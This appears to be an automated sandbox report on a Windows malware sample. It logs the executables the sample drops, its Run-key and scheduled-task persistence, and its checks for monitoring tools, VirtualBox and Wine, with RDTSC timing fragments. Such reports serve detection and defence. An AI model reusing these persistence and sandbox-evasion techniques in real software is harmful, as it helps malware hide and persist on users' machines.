Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: file.exe Static PE information: section name: entropy: 7.9616305846407265
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: entropy: 7.985960142675378
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: wcmebtxw entropy: 7.951549463551246
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: xfniszhi entropy: 7.953005680311224
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: entropy: 7.817884794673511
Source: skotes.exe.3.dr Static PE information: section name: entropy: 7.985960142675378
Source: skotes.exe.3.dr Static PE information: section name: wcmebtxw entropy: 7.951549463551246
Source: random[1].exe.5.dr Static PE information: section name: entropy: 7.9616305846407265
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: entropy: 7.9616305846407265
Source: random[1].exe0.5.dr Static PE information: section name: xfniszhi entropy: 7.953005680311224
Source: de379087e7.exe.5.dr Static PE information: section name: xfniszhi entropy: 7.953005680311224
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de379087e7.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 214532 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007FDE34C00CDEh 0x00000010 js 00007FDE34C00CD8h 0x00000016 push eax 0x00000017 pop eax 0x00000018 nop 0x00000019 add dword ptr [ebp+122D2B6Dh], ebx 0x0000001f push dword ptr [ebp+122D079Dh] 0x00000025 js 00007FDE34C00CDEh 0x0000002b jl 00007FDE34C00CD8h 0x00000031 pushad 0x00000032 popad 0x00000033 call dword ptr [ebp+122D1E63h] 0x00000039 pushad 0x0000003a cmc 0x0000003b xor eax, eax 0x0000003d je 00007FDE34C00CDCh 0x00000043 mov edx, dword ptr [esp+28h] 0x00000047 clc 0x00000048 mov dword ptr [ebp+122D2DA3h], eax 0x0000004e cmc 0x0000004f mov esi, 0000003Ch 0x00000054 cld 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 clc 0x0000005a lodsw 0x0000005c cld 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 clc 0x00000062 mov ebx, dword ptr [esp+24h] 0x00000066 pushad 0x00000067 jmp 00007FDE34C00CE7h 0x0000006c sub al, FFFFFF81h 0x0000006f popad 0x00000070 nop 0x00000071 jng 00007FDE34C00CE4h 0x00000077 pushad 0x00000078 jp 00007FDE34C00CD6h 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 213D70 second address: 213D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3840C9 second address: 3840EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3840EA second address: 3840EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38423C second address: 384240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384240 second address: 38424E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FDE34EAC86Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38424E second address: 384263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jc 00007FDE34C00CE2h 0x0000000d ja 00007FDE34C00CDCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3843A2 second address: 3843A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384653 second address: 384677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a jmp 00007FDE34C00CE5h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384677 second address: 38467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
